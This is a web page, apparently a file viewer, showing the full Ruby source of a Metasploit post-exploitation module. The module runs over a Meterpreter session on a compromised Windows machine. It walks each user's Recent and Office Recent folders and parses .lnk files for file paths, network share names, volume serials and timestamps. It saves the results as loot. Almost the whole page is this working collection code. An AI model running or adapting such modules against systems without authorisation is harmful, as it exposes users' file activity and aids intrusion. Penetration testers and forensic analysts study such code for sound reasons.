Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/dumplinks.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv7include Msf::Post::Windows::Accounts89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather Dump Recent Files lnk Info',14'Description' => %q{15The dumplinks module is a modified port of Harlan Carvey's lslnk.pl Perl script.16This module will parse .lnk files from a user's Recent Documents folder17and Microsoft Office's Recent Documents folder, if present.18Windows creates these link files automatically for many common file types.19The .lnk files contain time stamps, file locations, including share20names, volume serial numbers, and more.21},22'License' => MSF_LICENSE,23'Author' => [ 'davehull <dph_msf[at]trustedsignal.com>'],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter' ],26'Compat' => {27'Meterpreter' => {28'Commands' => %w[29core_channel_eof30core_channel_open31core_channel_read32core_channel_write33stdapi_fs_ls34stdapi_sys_config_getenv35stdapi_sys_config_getuid36]37}38}39)40)41end4243# Run Method for when run command is issued44def run45print_status("Running module against #{sysinfo['Computer']}")46enum_users.each do |user|47if user['userpath']48print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..."49extract_lnk_info(user['userpath'])50else51print_status "No Recent directory found for user #{user['username']}. Nothing to do."52end53if user['useroffcpath']54print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..."55extract_lnk_info(user['useroffcpath'])56else57print_status "No Recent Office files found for user #{user['username']}. Nothing to do."58end59end60end6162def enum_users63users = []64userinfo = {}65session.sys.config.getuid66userpath = nil67env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME')68sysdrv = env_vars['SystemDrive']69version = get_version_info70if version.build_number >= Msf::WindowsVersion::Vista_SP071userpath = sysdrv + '\\Users\\'72lnkpath = '\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\'73officelnkpath = '\\AppData\\Roaming\\Microsoft\\Office\\Recent\\'74else75userpath = sysdrv + '\\Documents and Settings\\'76lnkpath = '\\Recent\\'77officelnkpath = '\\Application Data\\Microsoft\\Office\\Recent\\'78end79if is_system?80print_status('Running as SYSTEM extracting user list...')81session.fs.dir.foreach(userpath) do |u|82next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/8384userinfo['username'] = u85userinfo['userpath'] = userpath + u + lnkpath86userinfo['useroffcpath'] = userpath + u + officelnkpath87userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])88userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])89users << userinfo90userinfo = {}91end92else93uservar = env_vars['USERNAME']94userinfo['username'] = uservar95userinfo['userpath'] = userpath + uservar + lnkpath96userinfo['useroffcpath'] = userpath + uservar + officelnkpath97userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])98userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])99users << userinfo100end101return users102end103104# This is a hack because Meterpreter doesn't support exists?(file)105def dir_entry_exists(path)106session.fs.dir.entries(path)107rescue StandardError108return nil109else110return path111end112113def extract_lnk_info(path)114session.fs.dir.foreach(path) do |file_name|115if file_name =~ /\.lnk$/ # We have a .lnk file116offset = 0 # TODO: Look at moving this to smaller scope117lnk_file = session.fs.file.new(path + file_name, 'rb')118record = lnk_file.sysread(0x04)119if record.unpack('V')[0] == 76 # We have a .lnk file signature120file_stat = session.fs.filestat.new(path + file_name)121print_status "Processing: #{path + file_name}."122@data_out = ''123124record = lnk_file.sysread(0x48)125hdr = get_headers(record)126127@data_out += get_lnk_file_mac(file_stat, path, file_name)128@data_out += "Contents of #{path + file_name}:\n"129@data_out += get_flags(hdr)130@data_out += get_attrs(hdr)131@data_out += get_lnk_mac(hdr)132@data_out += get_showwnd(hdr)133@data_out += get_lnk_mac(hdr)134135# advance the file & offset136offset += 0x4c137138if shell_item_id_list(hdr)139lnk_file.sysseek(offset, ::IO::SEEK_SET)140record = lnk_file.sysread(2)141offset += record.unpack('v')[0] + 2142end143# Get File Location Info144if (hdr['flags'] & 0x02) > 0145lnk_file.sysseek(offset, ::IO::SEEK_SET)146record = lnk_file.sysread(4)147tmp = record.unpack('V')[0]148if tmp > 0149lnk_file.sysseek(offset, ::IO::SEEK_SET)150record = lnk_file.sysread(0x1c)151loc = get_file_location(record)152if (loc['flags'] & 0x01) > 0153154@data_out += "\tShortcut file is on a local volume.\n"155156lnk_file.sysseek(offset + loc['vol_ofs'], ::IO::SEEK_SET)157record = lnk_file.sysread(0x10)158lvt = get_local_vol_tbl(record)159lvt['name'] = lnk_file.sysread(lvt['len'] - 0x10)160161@data_out += "\t\tVolume Name = #{lvt['name']}\n" \162"\t\tVolume Type = #{get_vol_type(lvt['type'])}\n" +163"\t\tVolume SN = 0x%X" % lvt['vol_sn'] + "\n"164end165166if (loc['flags'] & 0x02) > 0167168@data_out += "\tFile is on a network share.\n"169170lnk_file.sysseek(offset + loc['network_ofs'], ::IO::SEEK_SET)171record = lnk_file.sysread(0x14)172nvt = get_net_vol_tbl(record)173nvt['name'] = lnk_file.sysread(nvt['len'] - 0x14)174175@data_out += "\tNetwork Share name = #{nvt['name']}\n"176end177178if loc['base_ofs'] > 0179@data_out += get_target_path(loc['base_ofs'] + offset, lnk_file)180elsif loc['path_ofs'] > 0181@data_out += get_target_path(loc['path_ofs'] + offset, lnk_file)182end183end184end185end186lnk_file.close187store_loot('host.windows.lnkfileinfo', 'text/plain', session, @data_out, "#{sysinfo['Computer']}_#{file_name}.txt", 'User lnk file info')188end189end190end191192# Not only is this code slow, it seems193# buggy. I'm studying the recently released194# MS Specs for a better way.195def get_target_path(path_ofs, lnk_file)196name = []197lnk_file.sysseek(path_ofs, ::IO::SEEK_SET)198record = lnk_file.sysread(2)199while (record.unpack('v')[0] != 0)200name.push(record)201record = lnk_file.sysread(2)202end203return "\tTarget path = #{name.join}\n"204end205206def shell_item_id_list(hdr)207# Check for Shell Item ID List208if (hdr['flags'] & 0x01) > 0209return true210else211return nil212end213end214215def get_lnk_file_mac(file_stat, path, file_name)216data_out = "#{path + file_name}:\n"217data_out += "\tAccess Time = #{file_stat.atime}\n"218data_out += "\tCreation Date = #{file_stat.ctime}\n"219data_out += "\tModification Time = #{file_stat.mtime}\n"220return data_out221end222223def get_vol_type(type)224vol_type = {2250 => 'Unknown',2261 => 'No root directory',2272 => 'Removable',2283 => 'Fixed',2294 => 'Remote',2305 => 'CD-ROM',2316 => 'RAM Drive'232}233return vol_type[type]234end235236def get_showwnd(hdr)237showwnd = {2380 => 'SW_HIDE',2391 => 'SW_NORMAL',2402 => 'SW_SHOWMINIMIZED',2413 => 'SW_SHOWMAXIMIZED',2424 => 'SW_SHOWNOACTIVE',2435 => 'SW_SHOW',2446 => 'SW_MINIMIZE',2457 => 'SW_SHOWMINNOACTIVE',2468 => 'SW_SHOWNA',2479 => 'SW_RESTORE',24810 => 'SHOWDEFAULT'249}250data_out = "\tShowWnd value(s):\n"251showwnd.each do |key, _value|252if (hdr['showwnd'] & key) > 0253data_out += "\t\t#{showwnd[key]}.\n"254end255end256return data_out257end258259def get_lnk_mac(hdr)260data_out = "\tTarget file's MAC Times stored in lnk file:\n"261data_out += "\t\tCreation Time = #{Time.at(hdr['ctime'])}. (UTC)\n"262data_out += "\t\tModification Time = #{Time.at(hdr['mtime'])}. (UTC)\n"263data_out += "\t\tAccess Time = #{Time.at(hdr['atime'])}. (UTC)\n"264return data_out265end266267def get_attrs(hdr)268fileattr = {2690x01 => 'Target is read only',2700x02 => 'Target is hidden',2710x04 => 'Target is a system file',2720x08 => 'Target is a volume label',2730x10 => 'Target is a directory',2740x20 => 'Target was modified since last backup',2750x40 => 'Target is encrypted',2760x80 => 'Target is normal',2770x100 => 'Target is temporary',2780x200 => 'Target is a sparse file',2790x400 => 'Target has a reparse point',2800x800 => 'Target is compressed',2810x1000 => 'Target is offline'282}283data_out = "\tAttributes:\n"284fileattr.each do |key, _attr|285if (hdr['attr'] & key) > 0286data_out += "\t\t#{fileattr[key]}.\n"287end288end289return data_out290end291292# Function for writing results of other functions to a file293def filewrt(file2wrt, data2wrt)294output = ::File.open(file2wrt, 'ab')295if data2wrt296data2wrt.each_line do |d|297output.puts(d)298end299end300output.close301end302303def get_flags(hdr)304flags = {3050x01 => 'Shell Item ID List exists',3060x02 => 'Shortcut points to a file or directory',3070x04 => 'The shortcut has a descriptive string',3080x08 => 'The shortcut has a relative path string',3090x10 => 'The shortcut has working directory',3100x20 => 'The shortcut has command line arguments',3110x40 => 'The shortcut has a custom icon'312}313data_out = "\tFlags:\n"314flags.each do |key, _flag|315if (hdr['flags'] & key) > 0316data_out += "\t\t#{flags[key]}.\n"317end318end319return data_out320end321322def get_headers(record)323hd = record.unpack('x16V12x8')324hdr = Hash.new325hdr['flags'] = hd[0]326hdr['attr'] = hd[1]327hdr['ctime'] = get_time(hd[2], hd[3])328hdr['mtime'] = get_time(hd[4], hd[5])329hdr['atime'] = get_time(hd[6], hd[7])330hdr['length'] = hd[8]331hdr['icon_num'] = hd[9]332hdr['showwnd'] = hd[10]333hdr['hotkey'] = hd[11]334return hdr335end336337def get_net_vol_tbl(file_net_rec)338nv = Hash.new339(nv['len'], nv['ofs']) = file_net_rec.unpack('Vx4Vx8')340return nv341end342343def get_local_vol_tbl(lvt_rec)344lv = Hash.new345(lv['len'], lv['type'], lv['vol_sn'], lv['ofs']) = lvt_rec.unpack('V4')346return lv347end348349def get_file_location(file_loc_rec)350location = Hash.new351(location['len'], location['ptr'], location['flags'],352location['vol_ofs'], location['base_ofs'], location['network_ofs'],353location['path_ofs']) = file_loc_rec.unpack('V7')354return location355end356357def get_time(lo_byte, hi_byte)358if (lo_byte == 0 && hi_byte == 0)359return 0360else361lo_byte -= 0xd53e8000362hi_byte -= 0x019db1de363time = (hi_byte * 429.4967296 + lo_byte / 1e7).to_i364if time < 0365return 0366end367end368369return time370end371end372373374